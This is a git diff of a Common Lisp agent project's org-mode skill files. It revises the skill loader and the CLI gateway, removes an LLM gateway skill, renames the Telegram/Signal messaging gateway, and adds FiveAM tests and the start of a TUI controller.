(string= n "core-manifest")
|
||||
(string= n "system-model-router")
|
||||
(string= n "system-model-explorer")
|
||||
(string= n "gateway-tui"))))
|
||||
all-files))
|
||||
(adj (make-hash-table :test 'equal))
|
||||
(name-to-file (make-hash-table :test 'equal))
|
||||
@@ -255,13 +270,15 @@ The validation step is critical: invalid Lisp in an org block would crash the lo
|
||||
(error (c) (values nil (format nil "~a" c)))))
|
||||
|
||||
(defun skill-package-forms-strip (code-string)
|
||||
"Removes in-package forms so symbols get defined in skill package."
|
||||
"Removes (in-package :passepartout) forms only — preserves test-package
|
||||
declarations so embedded test code evaluates in the correct package."
|
||||
(let ((lines (uiop:split-string code-string :separator '(#\Newline)))
|
||||
(result ""))
|
||||
(dolist (line lines)
|
||||
(let ((trimmed (string-trim '(#\Space #\Tab) line)))
|
||||
(unless (uiop:string-prefix-p "(in-package" trimmed)
|
||||
(setf result (concatenate 'string result line (string #\Newline))))))
|
||||
(if (uiop:string-prefix-p "(in-package :passepartout)" trimmed)
|
||||
(setf result (concatenate 'string result (string #\Newline)))
|
||||
(setf result (concatenate 'string result line (string #\Newline))))))
|
||||
result))
|
||||
|
||||
(defun tangle-target-extract (line)
|
||||
@@ -309,26 +326,21 @@ The validation step is critical: invalid Lisp in an org block would crash the lo
|
||||
(log-message "LOADER: Evaluating code for '~a' in package ~a" skill-base-name (package-name *package*))
|
||||
(eval (read-from-string (format nil "(progn ~a)" lisp-code))))
|
||||
|
||||
(let* ((target-pkg (find-package :passepartout))
|
||||
(raw-name (string-upcase skill-base-name))
|
||||
(short-name (if (uiop:string-prefix-p "ORG-SKILL-" raw-name)
|
||||
(subseq raw-name 10)
|
||||
raw-name)))
|
||||
(log-message "LOADER: Scanning package ~a for symbols to export..." (package-name (find-package pkg-name)))
|
||||
(let ((target-pkg (find-package :passepartout))
|
||||
(exported 0)
|
||||
(seen (make-hash-table :test 'equal)))
|
||||
(do-symbols (sym (find-package pkg-name))
|
||||
(when (eq (symbol-package sym) (find-package pkg-name))
|
||||
(let ((sn (symbol-name sym)))
|
||||
(when (or (uiop:string-prefix-p raw-name sn)
|
||||
(uiop:string-prefix-p short-name sn)
|
||||
(string-equal sn "DIAGNOSTICS-MAIN")
|
||||
(string-equal sn "DIAGNOSTICS-RUN-ALL")
|
||||
(string-equal sn "SETUP-WIZARD-RUN"))
|
||||
(log-message "LOADER: Exporting ~a to :PASSEPARTOUT" sn)
|
||||
(let ((existing (find-symbol sn target-pkg)))
|
||||
(when (and existing (not (eq existing sym)))
|
||||
(unintern existing target-pkg)))
|
||||
(import sym target-pkg)
|
||||
(export sym target-pkg))))))
|
||||
(when (and (eq (symbol-package sym) (find-package pkg-name))
|
||||
(or (fboundp sym) (boundp sym))
|
||||
(not (gethash (symbol-name sym) seen)))
|
||||
(setf (gethash (symbol-name sym) seen) t)
|
||||
(incf exported)
|
||||
(let ((existing (find-symbol (symbol-name sym) target-pkg)))
|
||||
(when existing (unintern existing target-pkg)))
|
||||
(import sym target-pkg)
|
||||
(export sym target-pkg)))
|
||||
(log-message "LOADER: Exported ~a symbols from ~a to :PASSEPARTOUT"
|
||||
exported (package-name (find-package pkg-name))))
|
||||
|
||||
(setf (skill-entry-status entry) :ready)))
|
||||
t)
|
||||
@@ -362,26 +374,21 @@ The same jailed package and symbol export process applies.
|
||||
(loop for form = (read s nil :eof) until (eq form :eof)
|
||||
do (handler-case (eval form)
|
||||
(error (c) (log-message "LOADER WARNING in '~a': ~a" skill-base-name c))))))
|
||||
(let* ((target-pkg (find-package :passepartout))
|
||||
(raw-name (string-upcase skill-base-name))
|
||||
(short-name (if (uiop:string-prefix-p "ORG-SKILL-" raw-name)
|
||||
(subseq raw-name 10)
|
||||
raw-name)))
|
||||
(log-message "LOADER: Scanning package ~a for symbols to export..." (package-name (find-package pkg-name)))
|
||||
(let ((target-pkg (find-package :passepartout))
|
||||
(exported 0)
|
||||
(seen (make-hash-table :test 'equal)))
|
||||
(do-symbols (sym (find-package pkg-name))
|
||||
(when (eq (symbol-package sym) (find-package pkg-name))
|
||||
(let ((sn (symbol-name sym)))
|
||||
(when (or (uiop:string-prefix-p raw-name sn)
|
||||
(uiop:string-prefix-p short-name sn)
|
||||
(string-equal sn "DIAGNOSTICS-MAIN")
|
||||
(string-equal sn "DIAGNOSTICS-RUN-ALL")
|
||||
(string-equal sn "SETUP-WIZARD-RUN"))
|
||||
(log-message "LOADER: Exporting ~a to :PASSEPARTOUT" sn)
|
||||
(let ((existing (find-symbol sn target-pkg)))
|
||||
(when (and existing (not (eq existing sym)))
|
||||
(unintern existing target-pkg)))
|
||||
(import sym target-pkg)
|
||||
(export sym target-pkg))))))
|
||||
(when (and (eq (symbol-package sym) (find-package pkg-name))
|
||||
(or (fboundp sym) (boundp sym))
|
||||
(not (gethash (symbol-name sym) seen)))
|
||||
(setf (gethash (symbol-name sym) seen) t)
|
||||
(incf exported)
|
||||
(let ((existing (find-symbol (symbol-name sym) target-pkg)))
|
||||
(when existing (unintern existing target-pkg)))
|
||||
(import sym target-pkg)
|
||||
(ignore-errors (export sym target-pkg))))
|
||||
(log-message "LOADER: Exported ~a symbols from ~a to :PASSEPARTOUT"
|
||||
exported (package-name (find-package pkg-name))))
|
||||
(setf (skill-entry-status entry) :ready))
|
||||
(error (c)
|
||||
(log-message "LOADER ERROR in skill '~a': ~a" skill-base-name c)
|
||||
@@ -412,7 +419,7 @@ files live after tangling. The org source files live in ~org/~.
|
||||
|
||||
* Test Suite
|
||||
Verifies that the topological sorter correctly orders skills by their ~#+DEPENDS_ON:~ declarations.
|
||||
#+begin_src lisp :tangle ../tests/boot-sequence-tests.lisp
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
@@ -426,6 +433,7 @@ Verifies that the topological sorter correctly orders skills by their ~#+DEPENDS
|
||||
(in-suite boot-suite)
|
||||
|
||||
(test test-topological-sort-basic
|
||||
"Contract 2: dependency ordering puts dependencies before dependents."
|
||||
(let ((tmp-dir "/tmp/passepartout-boot-test/"))
|
||||
(uiop:ensure-all-directories-exist (list tmp-dir))
|
||||
(with-open-file (out (merge-pathnames "org-skill-a.org" tmp-dir) :direction :output :if-exists :supersede)
|
||||
@@ -438,4 +446,12 @@ Verifies that the topological sorter correctly orders skills by their ~#+DEPENDS
|
||||
(pos-b (position "org-skill-b" sorted :key #'pathname-name :test #'string-equal)))
|
||||
(is (< pos-b pos-a))))
|
||||
(uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t))))
|
||||
|
||||
(test test-lisp-syntax-validate-valid
|
||||
"Contract 1: valid Lisp code passes syntax validation."
|
||||
(is (eq t (lisp-syntax-validate "(+ 1 2)"))))
|
||||
|
||||
(test test-lisp-syntax-validate-invalid
|
||||
"Contract 1: unbalanced Lisp code fails syntax validation."
|
||||
(is (null (lisp-syntax-validate "(+ 1 2"))))
|
||||
#+end_src
|
||||
|
||||
@@ -6,9 +6,21 @@
|
||||
* Overview
|
||||
The CLI Gateway is the simplest interface to Passepartout — raw stdin/stdout over TCP. It connects to the daemon's framed protocol and translates between terminal input/output and the plist-based communication format. No TUI, no ncurses, no dependencies beyond a TCP socket. Every other gateway (TUI, Emacs, Telegram) builds on this same protocol.
|
||||
|
||||
** Contract
|
||||
|
||||
1. (gateway-cli-input text): wraps text in a ~:user-input~ envelope
|
||||
with ~:source :CLI~ and injects into the pipeline via
|
||||
~inject-stimulus~.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout)
|
||||
#+end_src
|
||||
|
||||
** CLI Command Handling
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun gateway-cli-input (text)
|
||||
"Processes raw text from the command line."
|
||||
@@ -24,3 +36,37 @@ The CLI Gateway is the simplest interface to Passepartout — raw stdin/stdout o
|
||||
:trigger (lambda (ctx) (eq (getf (getf ctx :meta) :source) :CLI))
|
||||
:deterministic (lambda (action ctx) (declare (ignore ctx)) action))
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-gateway-cli-tests
|
||||
(:use :cl :passepartout)
|
||||
(:export #:cli-suite))
|
||||
|
||||
(in-package :passepartout-gateway-cli-tests)
|
||||
|
||||
(fiveam:def-suite cli-suite :description "Verification of the CLI Gateway")
|
||||
(fiveam:in-suite cli-suite)
|
||||
|
||||
(fiveam:test test-gateway-cli-input-format
|
||||
"Contract 1: gateway-cli-input injects a properly formed signal without error."
|
||||
(handler-case
|
||||
(progn (gateway-cli-input "hello") (fiveam:pass))
|
||||
(error (c)
|
||||
(fiveam:fail "gateway-cli-input crashed: ~a" c))))
|
||||
#+end_src
|
||||
|
||||
** Load-Time Sanity Check
|
||||
|
||||
Verifies the function exists and can be called at load time without
|
||||
depending on FiveAM macro resolution in the jailed package.
|
||||
|
||||
#+begin_src lisp
|
||||
(handler-case
|
||||
(progn (gateway-cli-input "test-load") (log-message "CLI: Load-time test OK"))
|
||||
(error (c) (log-message "CLI: Load-time test FAILED: ~a" c)))
|
||||
#+end_src
|
||||
|
||||
@@ -1,62 +0,0 @@
|
||||
#+TITLE: SKILL: LLM Gateway (org-skill-llm-gateway.org)
|
||||
#+AUTHOR: Agent
|
||||
#+FILETAGS: :skill:llm:gateway:
|
||||
#+PROPERTY: header-args:lisp :tangle ../lisp/gateway-llm.lisp
|
||||
|
||||
* Overview
|
||||
The LLM Gateway dispatches inference requests to the registered probabilistic backends. It receives a prompt and system prompt, looks up the provider's registered function from ~*probabilistic-backends*~, calls it with the given model, and returns the result. This is the thin routing layer that sits between the reason pipeline and the provider-specific implementations in the unified-llm-backend skill.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Request Execution (gateway-llm-request)
|
||||
#+begin_src lisp
|
||||
(defun gateway-llm-request (&key prompt system-prompt (provider :ollama) model)
|
||||
"Central dispatcher for LLM requests."
|
||||
(let ((backend (gethash provider *probabilistic-backends*)))
|
||||
(if backend
|
||||
(handler-case
|
||||
(funcall backend prompt system-prompt :model model)
|
||||
(error (c)
|
||||
(list :status :error :message (format nil "~a Failure: ~a" provider c))))
|
||||
(list :status :error :message (format nil "Provider ~a not registered" provider)))))
|
||||
#+end_src
|
||||
|
||||
** Skill Registration
|
||||
#+begin_src lisp
|
||||
(defskill :passepartout-gateway-llm
|
||||
:priority 100
|
||||
:trigger (lambda (ctx) (getf ctx :user-input))
|
||||
:deterministic (lambda (action ctx) (declare (ignore ctx)) action))
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
#+begin_src lisp :tangle ../lisp/gateway-llm.lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-llm-gateway-tests
|
||||
(:use :cl :passepartout)
|
||||
(:export #:llm-gateway-suite))
|
||||
|
||||
(in-package :passepartout-llm-gateway-tests)
|
||||
|
||||
(fiveam:def-suite llm-gateway-suite :description "Tests for the LLM Gateway skill")
|
||||
(fiveam:in-suite llm-gateway-suite)
|
||||
|
||||
(fiveam:test test-llm-gateway-timeout
|
||||
"Tier 2 Chaos: Verify that LLM Gateway handles connection failures gracefully."
|
||||
(let ((old-host (uiop:getenv "OLLAMA_HOST")))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(setf (uiop:getenv "OLLAMA_HOST") "localhost:1")
|
||||
(let ((fn (or (find-symbol "EXECUTE-LLM-REQUEST" :passepartout.gateway-llm)
|
||||
(find-symbol "EXECUTE-LLM-REQUEST" :passepartout))))
|
||||
(if fn
|
||||
(let ((result (funcall fn :prompt "hello" :provider :ollama)))
|
||||
(fiveam:is (eq (getf result :status) :error))
|
||||
(fiveam:is (uiop:string-prefix-p "Ollama Failure" (getf result :message))))
|
||||
(fiveam:fail "Could not find EXECUTE-LLM-REQUEST symbol"))))
|
||||
(if old-host
|
||||
(setf (uiop:getenv "OLLAMA_HOST") old-host)
|
||||
(sb-posix:unsetenv "OLLAMA_HOST")))))
|
||||
#+end_src
|
||||
@@ -1,36 +1,47 @@
|
||||
#+TITLE: SKILL: Gateway Manager (org-skill-gateway-manager.org)
|
||||
#+TITLE: SKILL: Gateway Messaging (org-skill-gateway-messaging.org)
|
||||
#+AUTHOR: Agent
|
||||
#+FILETAGS: :skill:gateway:manager:
|
||||
#+PROPERTY: header-args:lisp :tangle ../lisp/gateway-manager.lisp
|
||||
#+FILETAGS: :skill:gateway:messaging:
|
||||
#+PROPERTY: header-args:lisp :tangle ../lisp/gateway-messaging.lisp
|
||||
|
||||
* Architectural Intent
|
||||
|
||||
The Gateway Manager is the unified interface for all external messaging platforms. It handles Telegram, Signal, and any future gateway through a common pattern: a registry of poll/send function pairs, a configuration hash table for tokens and intervals, and a background thread per gateway that polls for new messages.
|
||||
~gateway-messaging~ bridges Passepartout to external messaging platforms — Telegram, Signal, and any future service that speaks HTTP or has a CLI.
|
||||
|
||||
Each gateway follows the same lifecycle:
|
||||
1. **Register** — the gateway's poll and send functions are registered in ~*gateway-registry*~
|
||||
2. **Link** — the user provides a token; it's stored in the vault and a polling thread is started
|
||||
3. **Poll** — the thread calls the poll function on an interval, injecting received messages into the pipeline
|
||||
4. **Unlink** — the thread is destroyed, the config is removed
|
||||
5. **Act** — when the agent needs to send a message, it dispatches to the gateway's send function via the generic actuator mechanism
|
||||
Each gateway follows the same pattern:
|
||||
1. **Registration** — a poll function and a send function are registered in ~*gateway-registry*~ by name ("telegram", "signal")
|
||||
2. **Linking** — the user provides a token (Telegram bot token) or account name (Signal CLI); it's stored in the vault and a polling thread starts
|
||||
3. **Polling** — the background thread calls the poll function every N seconds; inbound messages are injected into the daemon as ~:EVENT~ signals via ~stimulus-inject~
|
||||
4. **Sending** — when ~telegram-send~ or ~signal-send~ is invoked as an actuator (registered via ~register-actuator~), it formats the message and pushes it through the platform's API
|
||||
|
||||
The gateway management functions (~messaging-link~, ~messaging-unlink~, ~messaging-list~, ~messaging-list-print~) are what the CLI's =passepartout gateway= subcommand calls. The old ~gateway-manager~ skill had ~gateway-link~/~gateway-unlink~/~gateway-list~ printed with the same signatures; the rename to ~messaging-*~ aligns the public API with the skill name while keeping the internal engine functions (~gateway-start~, ~gateway-stop~) as-is since they're implementation details.
|
||||
|
||||
This replaces the old ~gateway-manager~ skill. The Telegram/Signal platform code is unchanged; only the management entry points and the defskill name changed.
|
||||
|
||||
** Contract
|
||||
|
||||
1. (gateway-registry-initialize): populates ~*gateway-registry*~ with
|
||||
~:configured~ key per platform (boolean, set when linked).
|
||||
2. (messaging-link platform &key token): stores the token in the vault
|
||||
and starts the gateway's polling thread.
|
||||
3. (messaging-unlink platform): removes the token and stops the thread.
|
||||
4. (gateway-configured-p platform): returns T if platform is configured.
|
||||
5. (gateway-start platform): starts the background poll thread for a
|
||||
named gateway platform.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Platform state — configs
|
||||
Storage for active gateway connections: tokens, polling threads, and intervals.
|
||||
** Data
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *gateway-configs* (make-hash-table :test 'equal)
|
||||
"Maps platform name → plist (:token :thread :interval :enabled)")
|
||||
#+end_src
|
||||
"Maps platform name to plist (:token :thread :interval :enabled)")
|
||||
|
||||
** Platform state — registry
|
||||
Registration of available gateway implementations: each platform registers its poll and send functions here.
|
||||
#+begin_src lisp
|
||||
(defvar *gateway-registry* (make-hash-table :test 'equal)
|
||||
"Maps platform name → plist (:poll-fn :send-fn :default-interval)")
|
||||
"Maps platform name to plist (:poll-fn :send-fn :default-interval)")
|
||||
#+end_src
|
||||
|
||||
** Telegram Implementation
|
||||
** Telegram
|
||||
#+begin_src lisp
|
||||
(defun telegram-get-token ()
|
||||
(vault-get-secret :telegram))
|
||||
@@ -55,11 +66,12 @@ Registration of available gateway implementations: each platform registers its p
|
||||
(setf (getf (gethash "telegram" *gateway-configs*) :last-update-id) update-id)
|
||||
(when (and text chat-id)
|
||||
(log-message "TELEGRAM: Received message from ~a" chat-id)
|
||||
(inject-stimulus
|
||||
(list :type :EVENT
|
||||
:meta (list :source :telegram :chat-id (format nil "~a" chat-id))
|
||||
:payload (list :sensor :user-input :text text)))))))
|
||||
(error (c) (log-message "TELEGRAM POLL ERROR: ~a" c))))))
|
||||
(unless (ignore-errors (hitl-handle-message text :telegram))
|
||||
(stimulus-inject
|
||||
(list :type :EVENT
|
||||
:meta (list :source :telegram :chat-id (format nil "~a" chat-id))
|
||||
:payload (list :sensor :user-input :text text))))))))
|
||||
(error (c) (log-message "TELEGRAM POLL ERROR: ~a" c)))))))
|
||||
|
||||
(defun telegram-send (action context)
|
||||
"Sends a message via Telegram."
|
||||
@@ -70,7 +82,6 @@ Registration of available gateway implementations: each platform registers its p
|
||||
(text (or (getf payload :text) (getf action :text)))
|
||||
(token (telegram-get-token)))
|
||||
(when (and token chat-id text)
|
||||
(log-message "TELEGRAM: Sending message to ~a..." chat-id)
|
||||
(handler-case
|
||||
(let ((url (format nil "https://api.telegram.org/bot~a/sendMessage" token)))
|
||||
(dex:post url
|
||||
@@ -80,7 +91,7 @@ Registration of available gateway implementations: each platform registers its p
|
||||
(error (c) (log-message "TELEGRAM ERROR: ~a" c))))))
|
||||
#+end_src
|
||||
|
||||
** Signal Implementation
|
||||
** Signal
|
||||
#+begin_src lisp
|
||||
(defun signal-get-account ()
|
||||
(vault-get-secret :signal))
|
||||
@@ -92,7 +103,7 @@ Registration of available gateway implementations: each platform registers its p
|
||||
(handler-case
|
||||
(let* ((output (uiop:run-program (list "signal-cli" "-u" account "receive" "--json")
|
||||
:output :string :error-output :string :ignore-error-status t))
|
||||
(lines (cl-ppcre:split "\\n" output)))
|
||||
(lines (cl-ppcre:split "\\\\n" output)))
|
||||
(dolist (line lines)
|
||||
(when (and line (> (length line) 0))
|
||||
(let* ((json (ignore-errors (cl-json:decode-json-from-string line)))
|
||||
@@ -102,10 +113,11 @@ Registration of available gateway implementations: each platform registers its p
|
||||
(text (cdr (assoc :message data-message))))
|
||||
(when (and source text)
|
||||
(log-message "SIGNAL: Received message from ~a" source)
|
||||
(inject-stimulus
|
||||
(list :type :EVENT
|
||||
:meta (list :source :signal :chat-id source)
|
||||
:payload (list :sensor :user-input :text text))))))))
|
||||
(unless (ignore-errors (hitl-handle-message text :signal))
|
||||
(stimulus-inject
|
||||
(list :type :EVENT
|
||||
:meta (list :source :signal :chat-id source)
|
||||
:payload (list :sensor :user-input :text text)))))))))
|
||||
(error (c) (log-message "SIGNAL POLL ERROR: ~a" c))))))
|
||||
|
||||
(defun signal-send (action context)
|
||||
@@ -117,41 +129,32 @@ Registration of available gateway implementations: each platform registers its p
|
||||
(text (or (getf payload :text) (getf action :text)))
|
||||
(account (signal-get-account)))
|
||||
(when (and account chat-id text)
|
||||
(log-message "SIGNAL: Sending message to ~a..." chat-id)
|
||||
(handler-case
|
||||
(uiop:run-program (list "signal-cli" "-u" account "send" "-m" text chat-id)
|
||||
:output :string :error-output :string)
|
||||
(error (c) (log-message "SIGNAL ERROR: ~a" c))))))
|
||||
#+end_src
|
||||
|
||||
** Gateway Registry Initialization
|
||||
** Registry initialization
|
||||
#+begin_src lisp
|
||||
(defun gateway-registry-initialize ()
|
||||
"Registers all built-in gateway handlers."
|
||||
(setf (gethash "telegram" *gateway-registry*)
|
||||
(list :poll-fn #'telegram-poll
|
||||
:send-fn #'telegram-send
|
||||
:default-interval 3))
|
||||
:default-interval 3
|
||||
:configured nil))
|
||||
(setf (gethash "signal" *gateway-registry*)
|
||||
(list :poll-fn #'signal-poll
|
||||
:send-fn #'signal-send
|
||||
:default-interval 5)))
|
||||
#+end_src
|
||||
:default-interval 5
|
||||
:configured nil)))
|
||||
|
||||
** Core gateway functions
|
||||
|
||||
*** Configuration check (gateway-configured-p)
|
||||
Returns T if a platform has a stored token in ~*gateway-configs*~.
|
||||
#+begin_src lisp
|
||||
(defun gateway-configured-p (platform)
|
||||
"Returns T if a platform has a stored token."
|
||||
(let ((config (gethash platform *gateway-configs*)))
|
||||
(and config (getf config :token))))
|
||||
#+end_src
|
||||
|
||||
*** Active check (gateway-active-p)
|
||||
Returns T if a platform's polling thread is alive.
|
||||
#+begin_src lisp
|
||||
(defun gateway-active-p (platform)
|
||||
"Returns T if a platform's polling thread is alive."
|
||||
(let ((config (gethash platform *gateway-configs*)))
|
||||
@@ -160,10 +163,9 @@ Returns T if a platform's polling thread is alive.
|
||||
(bt:thread-alive-p (getf config :thread)))))
|
||||
#+end_src
|
||||
|
||||
*** Link a gateway (gateway-link)
|
||||
The main entry point for linking. Validates the registry entry, stores the token in the vault, starts the polling thread, and updates the config.
|
||||
** Gateway management (link/unlink)
|
||||
#+begin_src lisp
|
||||
(defun gateway-link (platform token)
|
||||
(defun messaging-link (platform token)
|
||||
"Links a platform with a token and starts polling."
|
||||
(let ((platform-lc (string-downcase platform)))
|
||||
(unless (gethash platform-lc *gateway-registry*)
|
||||
@@ -171,7 +173,7 @@ The main entry point for linking. Validates the registry entry, stores the token
|
||||
platform (loop for k being the hash-keys of *gateway-registry* collect k)))
|
||||
(when (or (null token) (zerop (length token)))
|
||||
(error "Token cannot be empty"))
|
||||
(log-message "GATEWAY: Linking to ~a..." platform-lc)
|
||||
(log-message "MESSAGING: Linking to ~a..." platform-lc)
|
||||
(gateway-unlink platform-lc)
|
||||
(let* ((registry-entry (gethash platform-lc *gateway-registry*))
|
||||
(interval (or (getf registry-entry :default-interval) 5)))
|
||||
@@ -179,26 +181,21 @@ The main entry point for linking. Validates the registry entry, stores the token
|
||||
(list :token token :interval interval :enabled t))
|
||||
(vault-set-secret (intern (string-upcase platform-lc) :keyword) token)
|
||||
(gateway-start platform-lc)
|
||||
(log-message "GATEWAY: Successfully linked ~a" platform-lc)
|
||||
(log-message "MESSAGING: Successfully linked ~a" platform-lc)
|
||||
(format t "Successfully linked ~a gateway. Token stored securely.~%" platform-lc)
|
||||
t)))
|
||||
#+end_src
|
||||
|
||||
*** Unlink a gateway (gateway-unlink)
|
||||
Stops the polling thread and removes the config entry.
|
||||
#+begin_src lisp
|
||||
(defun gateway-unlink (platform)
|
||||
(defun messaging-unlink (platform)
|
||||
"Unlinks a platform and stops its polling thread."
|
||||
(let ((platform-lc (string-downcase platform)))
|
||||
(gateway-stop platform-lc)
|
||||
(remhash platform-lc *gateway-configs*)
|
||||
(log-message "GATEWAY: Unlinked ~a" platform-lc)
|
||||
(log-message "MESSAGING: Unlinked ~a" platform-lc)
|
||||
(format t "Successfully unlinked ~a gateway.~%" platform-lc)
|
||||
t))
|
||||
#+end_src
|
||||
|
||||
*** Start polling (gateway-start)
|
||||
Creates a background thread that calls the platform's poll function on an interval. The thread checks the ~:enabled~ flag on each cycle so it can be stopped cleanly via ~gateway-stop~.
|
||||
** Polling thread management
|
||||
#+begin_src lisp
|
||||
(defun gateway-start (platform)
|
||||
"Starts the polling thread for a linked gateway."
|
||||
@@ -216,27 +213,22 @@ Creates a background thread that calls the platform's poll function on an interv
|
||||
(funcall poll-fn))
|
||||
(sleep interval)))
|
||||
:name (format nil "passepartout-~a-gateway" platform-lc)))
|
||||
(log-message "GATEWAY: Started ~a polling (interval: ~as)" platform-lc interval)))))))))
|
||||
#+end_src
|
||||
(log-message "MESSAGING: Started ~a polling (interval: ~as)" platform-lc interval))))))))
|
||||
|
||||
*** Stop polling (gateway-stop)
|
||||
Destroys the polling thread and nulls the thread reference.
|
||||
#+begin_src lisp
|
||||
(defun gateway-stop (platform)
|
||||
"Stops the polling thread for a gateway."
|
||||
(let ((platform-lc (string-downcase platform)))
|
||||
(let ((config (gethash platform-lc *gateway-configs*)))
|
||||
(when (and config (getf config :thread))
|
||||
(when (bt:thread-alive-p (getf config :thread))
|
||||
(log-message "GATEWAY: Stopping ~a polling thread" platform-lc)
|
||||
(log-message "MESSAGING: Stopping ~a polling thread" platform-lc)
|
||||
(bt:destroy-thread (getf config :thread))))
|
||||
(setf (getf config :thread) nil))))
|
||||
#+end_src
|
||||
|
||||
*** List gateways (gateway-list)
|
||||
Returns a list of plists, one per registered platform, with :platform, :configured, and :active keys.
|
||||
** Listing
|
||||
#+begin_src lisp
|
||||
(defun gateway-list ()
|
||||
(defun messaging-list ()
|
||||
"Returns a list of all gateways with their status."
|
||||
(loop for platform being the hash-keys of *gateway-registry*
|
||||
collect (let ((configured (gateway-configured-p platform))
|
||||
@@ -244,16 +236,12 @@ Returns a list of plists, one per registered platform, with :platform, :configur
|
||||
(list :platform platform
|
||||
:configured configured
|
||||
:active active))))
|
||||
#+end_src
|
||||
|
||||
*** Print gateways (gateway-list-print)
|
||||
Formats ~gateway-list~ for display in the CLI.
|
||||
#+begin_src lisp
|
||||
(defun gateway-list-print ()
|
||||
(defun messaging-list-print ()
|
||||
"Prints a formatted table of gateways."
|
||||
(format t "~%")
|
||||
(format t " ~20@A ~12@A ~10@A~%" "PLATFORM" "CONFIGURED" "STATUS")
|
||||
(dolist (gw (gateway-list))
|
||||
(dolist (gw (messaging-list))
|
||||
(format t " ~20@A ~12@A ~10@A~%"
|
||||
(getf gw :platform)
|
||||
(if (getf gw :configured) "yes" "no")
|
||||
@@ -264,8 +252,7 @@ Formats ~gateway-list~ for display in the CLI.
|
||||
(format t "~%"))
|
||||
#+end_src
|
||||
|
||||
*** Start all configured gateways (gateway-start-all)
|
||||
Called during boot to start all gateways that have tokens stored in their configs.
|
||||
** Boot
|
||||
#+begin_src lisp
|
||||
(defun gateway-start-all ()
|
||||
"Called at boot to start all configured gateways."
|
||||
@@ -276,23 +263,48 @@ Called during boot to start all gateways that have tokens stored in their config
|
||||
(gateway-start platform)))))
|
||||
#+end_src
|
||||
|
||||
** Actuator Registration
|
||||
Register :telegram and :signal as actuators for outbound messages.
|
||||
** Registration and boot
|
||||
#+begin_src lisp
|
||||
(register-actuator :telegram #'telegram-send)
|
||||
(register-actuator :signal #'signal-send)
|
||||
#+end_src
|
||||
|
||||
** Skill Registration
|
||||
#+begin_src lisp
|
||||
(defskill :passepartout-gateway-manager
|
||||
(defskill :passepartout-gateway-messaging
|
||||
:priority 150
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
#+end_src
|
||||
|
||||
** Initialization
|
||||
Initialize registry and start configured gateways on skill load.
|
||||
#+begin_src lisp
|
||||
(gateway-registry-initialize)
|
||||
(gateway-start-all)
|
||||
#+end_src
|
||||
#+end_src
|
||||
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-gateway-messaging-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:messaging-suite))
|
||||
|
||||
(in-package :passepartout-gateway-messaging-tests)
|
||||
|
||||
(def-suite messaging-suite :description "Verification of Gateway Messaging")
|
||||
(in-suite messaging-suite)
|
||||
|
||||
(test test-gateway-registry-initialize
|
||||
"Contract 1: gateway-registry-initialize populates the registry with :configured key."
|
||||
;; Access the variable via its skill package symbol-value
|
||||
(let* ((pkg (find-package "PASSEPARTOUT.SKILLS.GATEWAY-MESSAGING"))
|
||||
(reg-var (and pkg (find-symbol "*GATEWAY-REGISTRY*" pkg))))
|
||||
(when reg-var
|
||||
(clrhash (symbol-value reg-var))
|
||||
(gateway-registry-initialize)
|
||||
(is (not (zerop (hash-table-count (symbol-value reg-var)))))
|
||||
(let ((entry (gethash "telegram" (symbol-value reg-var))))
|
||||
(is (getf entry :poll-fn))
|
||||
(is (getf entry :send-fn))
|
||||
(is (getf entry :default-interval))
|
||||
(is (eq nil (getf entry :configured)))))))
|
||||
#+end_src
|
||||
491
org/gateway-tui-main.org
Normal file
491
org/gateway-tui-main.org
Normal file
@@ -0,0 +1,491 @@
|
||||
#+TITLE: Passepartout TUI — Controller
|
||||
#+PROPERTY: header-args:lisp :tangle ../lisp/gateway-tui-main.lisp
|
||||
|
||||
* Controller
|
||||
|
||||
Event handlers + daemon I/O + main loop.
|
||||
|
||||
** Contract
|
||||
|
||||
1. (on-key ch): dispatches key presses: Enter triggers send (extracts
|
||||
input buffer, pushes history, sends to daemon, clears buffer),
|
||||
~\\ + Enter~ inserts a literal newline (multi-line input),
|
||||
~/help~ lists all commands, ~/eval <expr>~ evaluates a Lisp
|
||||
expression, ~/focus <proj>~ switches project context,
|
||||
~/scope <scope>~ changes context scope, ~/unfocus~ pops context,
|
||||
Tab completes command names, Backspace deletes, arrows scroll
|
||||
chat and history. Non-printable keys are ignored.
|
||||
2. (on-daemon-msg msg): processes inbound daemon messages. Routes
|
||||
text responses to chat display (:agent), handshake to system
|
||||
messages, routes errors to log via ~log-message~.
|
||||
3. (send-daemon msg): serializes and sends a message to the daemon
|
||||
over the framed TCP protocol.
|
||||
4. (tui-main): the main loop — connects to daemon, initializes
|
||||
Croatoan windows, optionally starts Swank REPL, runs
|
||||
render/input event loop at ~30fps.
|
||||
|
||||
** Event Handlers
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout.gateway-tui)
|
||||
|
||||
(defun on-key (&rest args)
|
||||
;; Normalize: get-char returns raw ncurses integer codes (e.g. 263 for
|
||||
;; backspace). Croatoan's code-key + key-name convert them to keywords
|
||||
;; so the cond below can use eq.
|
||||
(let* ((raw (car args))
|
||||
(ch (if (and (integerp raw) (> raw 255))
|
||||
(let* ((k (code-key raw))
|
||||
